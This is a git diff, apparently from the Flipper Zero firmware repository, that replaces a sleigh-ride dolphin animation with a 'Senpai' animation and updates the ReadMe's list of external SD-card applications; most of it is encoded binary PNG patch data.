0 bytes .../L1_Sleigh_ride_128x64/frame_25.png | Bin 1671 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_26.png | Bin 1636 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_27.png | Bin 1621 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_28.png | Bin 1099 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_29.png | Bin 812 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_3.png | Bin 1651 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_30.png | Bin 536 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_31.png | Bin 492 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_32.png | Bin 503 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_33.png | Bin 897 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_34.png | Bin 1490 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_35.png | Bin 1741 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_36.png | Bin 1538 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_4.png | Bin 1668 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_5.png | Bin 1555 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_6.png | Bin 1521 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_7.png | Bin 1642 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_8.png | Bin 1694 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_9.png | Bin 1605 -> 0 bytes .../external/L1_Sleigh_ride_128x64/meta.txt | 23 ------------------ assets/dolphin/external/manifest.txt | 18 +++++++------- 77 files changed, 42 insertions(+), 37 deletions(-) create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_0.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_1.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_10.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_11.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_12.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_13.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_14.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_15.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_16.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_17.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_18.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_19.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_2.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_20.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_21.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_22.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_23.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_24.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_25.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_26.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_27.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_28.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_29.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_3.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_30.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_31.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_32.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_33.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_34.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_35.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_4.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_5.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_6.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_7.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_8.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/frame_9.png create mode 100644 assets/dolphin/external/L1_Senpai_128x64/meta.txt delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_0.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_1.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_10.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_11.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_12.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_13.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_14.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_15.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_16.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_17.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_18.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_19.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_2.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_20.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_21.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_22.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_23.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_24.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_25.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_26.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_27.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_28.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_29.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_3.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_30.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_31.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_32.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_33.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_34.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_35.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_36.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_4.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_5.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_6.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_7.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_8.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/frame_9.png delete mode 100644 assets/dolphin/external/L1_Sleigh_ride_128x64/meta.txt diff --git a/applications/ReadMe.md b/applications/ReadMe.md index 6224cb45a..e50d8e46a 100644 --- a/applications/ReadMe.md +++ b/applications/ReadMe.md @@ -36,15 +36,20 @@ Applications for main Flipper menu. - `u2f` - U2F Application -## plugins +## External -Extra apps for Plugins & App Loader menus. +External applications deployed to SD Card -- `bt_hid_app` - BT Remote controller +- `clock` - Clock application +- `dap_link` - DAP Link OnChip debugger +- `hid_app` - USB/BT Remote controller - `music_player` - Music player app (demo) -- `picopass` - Picopass tool +- `nfc_magic` - NFC MFC Magic card application +- `picopass` - Picopass reader / writer +- `signal_generator` - Signal generator app: PWM and clock generator - `snake_game` - Snake game application - +- `spi_mem_manager` - SPI Memory reader / flasher +- `weather_station` - SubGHz weather station ## services diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_0.png b/assets/dolphin/external/L1_Senpai_128x64/frame_0.png new file mode 100644 index 0000000000000000000000000000000000000000..ed37723ac245322aa254e648ab48da409e7e35d8 GIT binary patch literal 1756 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 literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_10.png b/assets/dolphin/external/L1_Senpai_128x64/frame_10.png new file mode 100644 index 0000000000000000000000000000000000000000..e385018bf6531534e1d809b371b0172361c657af GIT binary patch literal 1846 zcmV-62g&$}P)m#z zFnBh_rO7V#LfW2f-}imnHre-G+TVt4+eAcO%5HowJVXR4zm?zk-gulXz>RaUiOAk| zI&uNX3N+Us@@^&UGq3KA^Rej|K;)OwSv(*jlq3;>?ik~Gc#6F4)TRt?_i9C=wi@gi zBMz#66J;HqB7CQ27F?4AA+jvCAFn=Zd!rvuRG3|Gs~k%P)>hX;yT7%)6}}#j03v=Y zfXX9J};9_LYeTGNeN9XCjJk zG|nU;TVws6wiR^_&>BX&pGE4PbEdfZ-A36xP_R^Cdc z#mcJdtL1;N#b>*_mFvk=ClHN?(#usDK#%g@o*^&2*T zer8`s?X94;9%8HQ7fo;mMs|LK=Z4r?p*or8j8v>$B(sRQ4vr?*-g^NYVxXOX-9f0I zNEXEK3VM|vDatBn20TlHWMsNTvOlw|_Iwelml4*IAd?xO*Hz328WGs8n=ux1foOeL zIdTb4rfeiQ3u3IG$V^$GBa$Jj@ktn!JF+-d!I7zF`hB9xk+1Or#Eg4j$XJe197(2L z5+G$oeS5JL>sy4}2C~YYAgJ63MC}kf{l1+9+6r00B7u7*G#jJJ z%Mvn*okryvUCS32!2Cqi(4t}~KGCOFvC5TMa`jkA-Tv!Cp*Dqx(y=PCal}4RFsbbz(~Q-m^1wMNHng? ztZbQayx3{vKx&j&^b!)J*Ja}1C55g~o^bC-Vdf8;` z^DCK6M(S+JtY2SYUdz52q<67r@=$hwP7Y^cv_Bh#S1iaCl&+C-0lkP)%8aFm`l-lL zHT7Pbt0}SiwyQ`#kf_h zQq&blaGDG76ui>ET7sRe0F?3`iCF~rYf?Xl!QN7yiIL;nQOqE~A0qPignkY~Pd^% zX&3N+pz@=c%uiN)!xf_N26ltGIzWU3unJ~p_qxdf*)ECIDIxk4)=Hwj5g?P317WVQ zjRwIM`Y3DXDSNgxXnnm9AR7&T2lGFI)ox?8HP9A46$7AKud5S5%k0(Zy~Ufk6WMrH z*(;9BzrGsgb^1v`pC;;=2P|1c^0B*;SuWw_7eX>=5z0}|^qW=&HZGeBOZ%d9u%Tz3 zXq}_}JnI`-GEZl3F+he<>_Z%9?Ycykaw(we=mxf{y<1anz0rqk+!#QcmgvGJy30R; z1X({mDvw_L8ASI;pvPlvG9<8TgLL*r058zETHsfeC%bb{@Kv=iRZH65M}72K0wmwI zZSUU;uzm)S013MS(PU=G5G|TEn`m5S2_p-cl_%=EI*zRmza5;J$V&5`CE3UVTP32t zJ-?cfZ$zGm1gsDA8r5%j*a8bSxEHOCAQIln&@)~o*hT-etX_YkF@grN)KT9kK(}xY zf~pEYsfs?3srtpEvk3$wf0P1i%p~%RwXoU119dzr*h37QO@ftHz>}Z(<(bIpKr2-1 z&Tc^4<|Pf(6?F&EpkB7XT*s%7Ad+8OyOD9cI-V=A{@#+*K0|?Q>Z@U%f3s2Y%vA9T zB&f7m<+8kZtMUv5oTZ7$pI6 zyOt2G91&F4d+N$e5Tr0YpiTYSK#`xU5&`+Jk$Mem(MI9qCDCjR8LUWPI+;FED&&=CdA~%;8g%?M!`u zi<`(2MTu`I$+qwNzHJ-r`%dHkz_x8fL@#YOel0wR2nv6+-}trhIGceR=VBwGeONjQ z0muuC&_ML=CFC=!?~U`Z@f?8Yr_i;0fQVEj@f7IJF|LOv(W|8nVOZA71&PLTXwNjo zLH%z>aUHxQO6TCMmJmvM=FChmiI%}KgQkyUk|7NM0PHK z+C70;v^3oL!+LC^1hA~v%lftWT}du2*MEnFetapwOJlNh^8_zxMe>1&Qla;q@bVju zGnG)=WBy(pOY9tA4D_sD%hWCJz~4vD7d%T}5eBN~7OO&%msdrNO{GsnFHf}zECEO$ zckRXSh-F)) z&aEZJ9q^1x@@VlY={zkBiDcoLfIWthR!1rW^g4?bF+XZ?=vjmxP1(@?Xzj?@o|>=` z;}I>_+*HIPpx4n2T8WA!&+?tECOpN{b6cr{KhhWL~?Icikh%)9eTv<>zR=Q+up2(b) zgmj>?o|h01$-vP-iHxT>JEqSd%KNHNCY7t=CHeTT4~25!@c-K2ETVbDRe-!-7p)mO zD3Pn?PW!&&GH_P-R!$&2fknGBY;<}Zi^kP$vg06hVFbIuBIHXG+{ zlDEh_R_;`Z|6a)+h5Csgj%<9q7Dmaa!62~s@VA08VJ_}aWRDt`&kjezntXEr% ze7-{X)wrxFb@nt5t^W)x`(_ZgV$0>B>Hr<4TnRD@&v=k42%RGo0;=#z%7~}%=u{9@ zDC;EeYJ#ld^zR0GakFcqEl+YqFLM+QR{(BR+C|Y(I7{ePQn*t*0J_M~o~@ey#t)np z0xTh{5)iVy|GO9HQh>jj=p2IVG3qKoT|o&t6yOgc`n!S7A-Gybf3_01N5Noo{v@K` ziRe2K{q~7Bd#Jpe{V+=hPiO37RssImw(Xno{9}NQtIz%%!x>5t4gvq2czqjj^HT*s zVBJ$_Sb4`kc#?M@s{s{23RpY4=R+3owj2>9K0?vuS;&!j!J7g^YI4Bb`Sr{sqMLqH zMX=f%4B9UW5YhHeO!__rNC{SW1Mbm7IRLu#y1F88o~=HWFtE}+BZ03B317by>Rpyx zS=bz0QL`45>Dwugh`?8cgr_A~>+W7Ai4sREj8(56albGF#GlqiH2*O&F2}bVAfjQ~ zhd3%$*MUHl5{AaRcSf)Rl9$S@Df*C&nFDZF<6YQ9KLfWCnK(Yfk1W%=y@{oGNbu1+ z49}~)DS$P>)!b;7AFb5#`gM93PBYp*qXgFc+qS)bFF?i_?fUcxMer84(&bAY(2?*= zZehiJM3eXLoELsO*khDvZTyQWS!ENfh{6~e2uuMR_(7-1_#4~Zp>UWkB zc>Hs3S4CApq@aHsN zkIpS$uSBO3N6@h@E19(Lav8*3g_oU5AxpQYg@6j8N^qnX;A4sM33G<_faP^G`Z7tE zZSbdJQ7q9)3YiR9%nVu;#kiUhRI~9;4~FDpRb_)m-tQ@ip-GUy_=K|b8xvW%!+4zm zieWST2DD8(5*p8zP@~m?Mfd3m!?Lstkf)g0?1+#x1(eS_viS&jc&#LFRv+FE{nzmI zTfrJL79?>wp=3nPm9k|6l-x_e>tLDWdD&$KlHROR%p`r98};BNqh6BAX?SzUHne~8 zxkd*)d&rW`iY>@utc4(k5hE2?RY686s=QbU7b>@+h=e7yzHBl++WrN)SX(KFyxIZ) O0000lE>hmW@WGRyB&Rwv znb;IXLd5HUl<&6h`@U@(?fXvS|AB4Wh=^X=Zv0w!5D`@VXut7m<8ihCH_pXIMEme` zlmbu`7^#8iJxa)HR^J=vW8)lv=%>;(K0rjOk$47lbBycZN%ZQeLm8I$az&zhIkan< z;h_Gvp{&D`NcYspf^#E5@FI&G$Lg=$d!vpgYK$(pRE{(T?OxswdH=ZgR`_~A10b@w z0BZLXW{suc<`3(!jS|4}UXS%_`MW|ctMo$&Y# z$C*Z`tugtCu3k4r;2`;W4##w7c9DwlesUm+ZZtjK5rE((nv*l9phxy zjfm)>ExzX6qn$5)v{bbESf%003LvZeAx~ugLwlww(40sgTu!-eG6FsM7i|K5O@8+7 zmx9WE$XeyN=m9%WQGT>K8f})`Ug<3RWQ+>&0wn9(Rxp}ePK5eP1ojeXR8U%@HG8CQD-mLSOn4X;)s=Zg-s2sjma|hD3G$W zc|5PT#wJou1GUbUAgEnFKqTz1V*4F9DiTGNiS9$N^!v6GC_6+2^8~IuP&ZbFWNn_v zoE1VkP*(j(=wUM=#$vjBvQ@(}^_6zt78tH4<{ z&fBDHk$EicRLTEd$sUFJMi56fzi2{oXd4xLjH8HSS9Gw($wWR2R@GF2`@@jR1X0$j zJ&e4*LiyFatQmE7HxE7k8CdqqAnwIh$V1fu+Dy3;Bn!_(kSi#iBa{NF@Jh-^r0~Y6 zAZk$7PTtiNS;gtU4fOJ6*Fsy7(A8+^e*MqN8w@(ywH2r$hjBkfB{$HUEtt zI4uQON?4^JIJB2(sI#s}ywwBj_-IKZxk>hH(zT)foNRM&ND*gT?ui zh<+!c??m+5C!Xw~@^bcNmJXTDSjVgZ{IhM_H{<%p0Bu*F{T{;^Mi5Q`|Lu5v8+r3n z6+d8|Q)pOu#y@0|XCSKq4L~Yb+q>ttERbzEB1U|Kq07CHBYDA_0YqwYAl&)&%p{_V zepE%UIvR|zUko5(?Vm{cJ_X1KRzw3H(L)>noqAo}5V*`%pGq278J>~CSEhuozZB{n zmRwoc9NbW|9+c_ZsgQ`mSEYofrC96iUXnzKqYcKY*N-?~m;sVcYa^O}jg0H@jRQn1 zOnZr=;&mMeR4HL-vU__3DXVx$f zY0*#(ff=%k{z+LQ5hN;yS6yYE0TFZwb0a9L0JKrWH)OIE#?jRT0+K(fq^|intUZDV zWHsQq1SZf_6k)gvNEtGICmw7Ro z^P_Xi&nwYs#1V8nmqjKmyc`DcP~ovtsbm=zwG>c+X9P%&>iCs=BlC7f0lvnbb4Zdd z+u)yyMY%*PDI^*49=7UT+QU|frZs-Gf0S5u0qMu8%7%=*-%}2TCP5106Ux$WOk{C~ z@i_xDpVcoqhqh=(0_A7kK46jbj1I@RPj8{DMa}?4ikZcZGI)kPk07*qoM6N<$f=Lf+7ytkO literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_13.png b/assets/dolphin/external/L1_Senpai_128x64/frame_13.png new file mode 100644 index 0000000000000000000000000000000000000000..a996443fe46be0e95aa380d17883daf5dacbb55a GIT binary patch literal 1862 zcmV-M2f6r(P)YNI1HuJ0Q1=Y|C|2OJkDSS?n`ycFz0a5VmpNo zP&APxiV}AzZnu5k_ifu`-*;($H*DJ`BJ$F9B3BUrm z>nMh2EZZv`M>l?!05f#5N>(wd>~~A+O#w7h*@K+QxXNi`Mj`aPy{IZsMu1s& ztM0Gn|G_q&S$AvKi>WRknh%wit15sV;kPw6&xZD@JwxM0cx7$KqoRGY%KOw`*aZ5S z{Tz+AjM{!kTPz!(#f+p8fmz**xmXB9`@`B% zNO&?~BgR=0V;Mzm$}$}(8S)yRgi*dDk7ETKxq2qwC+Zx<8ZSZ2ga?L<=NQG2%G9d_ zNLUeVFSlZ}MaXR+>+CUt+U)`|Zhuv_KMO}FP*#{|9D*m`x068IAwHw_$UF41RTvdBYux$6vtD1Tcz8KOoK{o4Ui?PqI z=N`3mb=_GXZ_V$bEF>HwV_&crA^n}t_A$Q6XHkqQC5h)T+gr-V z3QBNV2=D~FGQL^`J6iy#Z`=0GdHzv|4ykl|!;$Mf!no2Q z;8&vZt+~uk7JS1MvhW6WgSt9FgbH8<%+BuhkOjP5601u>^ee2Diu$GinVK9hbE+B5 z+8nmgM|nF>*t5MsqxGTy*=+bq?%$p!9yRAmto8=lqo;BJbnA6BMX=C3dwqIu@n%{g zo6ib+#gX~ft6?6|t0sN+IN2)dnFlOcMEtS4l35`Ez8&1a?(R|fWdEE6_Cu2_PnEvC z>tw%>@(hqEL55#TTg&k+2godn{fOg8t3&Sl>ek+XuA>{6B6zo^-nzAXkj!8efUKPL z^X~GmB#cphtksPwx~BwsJ~k$!1k8i$wl@Xv5{;`Tej>i0vzCLBuWBAt^`z~4M5EUe zApW*(dw(y$X8A}75VI>VYF!x~qfOIpQ;&(}s_@|P6Va~DWBbFmgEI?R>E5$SHnPE1 zh={fqS2O&L@DnKkqk%r7{tXY?V8JG5V`d&wM6@dIKKsn}Lw_`{9=*{VK?8Z}O!m)s zZ*UKSsshl;qC-ffJoI8*6*Cf1#6MDk5gxL9&hWan8h9YWvywfefwPsMSIE5<#N7Xi zswXQ0El@2xYk+plOBtv;Y68)uUbVnN$B{}f5(*;zwYT#y;sv}=VB@`2Qu_=gvZ+_Y zy!d9bKAshgv;->9{WDgaq1QW}WyCWRI30F+J)zgft5DG24DLx_v>}!_+gLBJ z7|Fm#;;l_yS7z@lpUN1Q?SllW^D*RsS^l%{yZ_I{_gWWgpH(K!rZY;*6KEvt-lR}J zv&k-MXL|;(gKc>iWtSBoFEJv3(X1QA#t4XNB$Ug{K%l0oQh@Lj#3%_W%F@07*qoM6N<$f*OH~ Aa{vGU literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_14.png b/assets/dolphin/external/L1_Senpai_128x64/frame_14.png new file mode 100644 index 0000000000000000000000000000000000000000..628d58b93a3143142a7dd78ec0a0dca53023a984 GIT binary patch literal 1815 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 